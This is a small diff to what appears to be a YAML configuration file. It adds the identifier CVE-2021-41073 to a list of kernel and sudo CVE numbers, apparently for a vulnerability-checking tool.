@@ -26,6 +26,7 @@ cve: - CVE-2023-0045 - CVE-2022-32250 - CVE-2022-27666 + - CVE-2021-41073 sudo: - CVE-2021-3156 - CVE-2023-22809